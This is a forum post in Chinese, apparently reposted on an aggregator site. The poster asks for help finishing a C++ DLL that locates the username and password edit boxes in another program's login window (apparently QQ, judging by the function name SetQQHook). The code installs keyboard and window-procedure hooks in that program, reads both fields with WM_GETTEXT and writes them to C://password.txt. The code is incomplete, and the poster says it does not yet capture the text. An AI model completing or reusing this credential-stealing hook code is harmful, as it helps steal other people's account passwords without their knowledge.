您的位置:首页 > 其它

如何在DLL中获得其他进程窗口中的编辑框文本内容

2007-05-08 15:36 344 查看
这问题应该很容易,但我不会,还就没人告诉我,郁闷的。谁看了给指点一下。C++学的很差,看了不许笑。
我想获得另一个进程的某个文本框的内容,于是将处理代码写道一个用C++编得DLL里,找到符合条件的编辑框句柄后,向其发送WM_GETTEXT消息,从帮助文档上看要从DefWindowProc函数中才能得到内容信息。现在的问题是:
我在C++文件中如何使用该函数获得文本内容?或者是否应该采用其它方法完成该功能。
部分代码如下:

#define MyDll_API _declspec(dllexport)
#include "MyDll.h"
#include "Winuser.h"
#include "Windows.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
HWND g_hNum=NULL;
HWND g_hPwd=NULL;
HHOOK g_hProc=NULL;
HHOOK g_hKey=NULL;
HINSTANCE g_hinstDLL=NULL;

void GetPassword()
{
MessageBox(NULL,"进入获取密码阶段!","郁闷",0);
char num[255];
char pwd[255];
char total[255];
HANDLE h;
DWORD dw;
memset(num,0,255);
memset(pwd,0,255);
memset(total,0,255);
//问题是消息发了怎么接啊?DefWindowProc写到哪里啊?郁闷死了。
SendMessage(g_hNum,WM_GETTEXT,255,(LPARAM)num);
strcat(total,"用户名:");
//得不到文本内容阿!!怎么做?
//strcat(total,num);
MessageBox(NULL,total,"郁闷",0);
SendMessage(g_hPwd,WM_GETTEXT,255,(LPARAM)pwd);
strcat(total,"密码:");
//得不到文本内容阿!!怎么做?
// strcat(total,pwd);
MessageBox(NULL,total,"郁闷",0);
h=CreateFile("C://password.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
WriteFile(h,&total,sizeof(total),&dw,NULL);
CloseHandle(h);
}

LRESULT CALLBACK KeyboardProc(
int code,
WPARAM wParam,
LPARAM lParam
)
{
。。。。。。。
。。。。。。。
。。。。。。。
return CallNextHookEx(g_hKey,code,wParam,lParam);
}

LRESULT CALLBACK CallWndProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
CWPSTRUCT *p=(CWPSTRUCT*)lParam;
。。。。。。。
。。。。。。。
。。。。。。。
return CallNextHookEx(g_hProc,nCode,wParam,lParam);
}

BOOL WINAPI SetQQHook(HWND hwnd)
{
BOOL bRet=FALSE;
// g_procPre=SetWindowLong(hwnd,GWL_WNDPROC,(LONG)MainWndProc);
char lpClsName[255];
memset(lpClsName,0,255);
int cnt=0;
HWND hSubWnd=NULL;
HWND hNextWnd=NULL;
HWND hTemp=NULL;
if(hwnd!=NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hwnd,NULL);
// MessageBox(NULL,MAKEINTRESOURCE(dwThreadID),"郁闷",0);
// hTemp=hwnd;
hTemp = GetWindow(hwnd,GW_CHILD);
do
{
hSubWnd = GetWindow(hTemp,GW_HWNDNEXT);
int a=GetClassName(hSubWnd,lpClsName,255);
// MessageBox(NULL,lpClsName,"郁闷",0);
if(a==0)
{
MessageBox(NULL,"彻底失败,连子窗口都找不到!","郁闷",0);
return FALSE;
}
cnt++;
if(cnt>20)
{
MessageBox(NULL,"看来方法不对,只好放弃了!","郁闷",0);
break;
}
hTemp = hSubWnd;
}while(0!=stricmp(lpClsName,"EDIT"));

if(0==stricmp(lpClsName,"EDIT"))
{
g_hNum = hSubWnd;
}
if(g_hNum==NULL)
{
MessageBox(NULL,"失败,找不到用户名窗口!","郁闷",0);
return FALSE;
}
cnt=0;
do{
hNextWnd=GetNextWindow(hSubWnd,GW_HWNDNEXT);
int a=GetClassName(hSubWnd,lpClsName,255);
// MessageBox(NULL,lpClsName,"郁闷",0);
if(a==0)
{
MessageBox(NULL,"失败,找不到密码子窗口!","郁闷",0);
return FALSE;
}
cnt++;
if(cnt>20)
break;
hSubWnd = hNextWnd;
}while(0!=stricmp(lpClsName,"EDIT"));

if(0==stricmp(lpClsName,"EDIT"))
{
// LONG lStyle = GetWindowLong(hNextWnd,GWL_STYLE);
// if(lStyle & ES_PASSWORD)
// {
g_hPwd=hNextWnd;
// }
}
if(g_hPwd==NULL)
{
MessageBox(NULL,"失败,找不到密码窗口!","郁闷",0);
return FALSE;
}
// g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,g_hinstDLL,dwThreadID);
// g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hinstDLL,dwThreadID);
g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,GetModuleHandle("MyDll"),dwThreadID);
g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("MyDll"),dwThreadID);
// MessageBox(NULL,"在创建钩子后显示","郁闷",0);
bRet=(g_hProc!=NULL)&&(g_hKey!=NULL);
}
else
{
bRet=UnhookWindowsHookEx(g_hProc)&&UnhookWindowsHookEx(g_hKey);
g_hProc=NULL;
g_hKey=NULL;
g_hNum=NULL;
g_hPwd=NULL;
}
return bRet;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: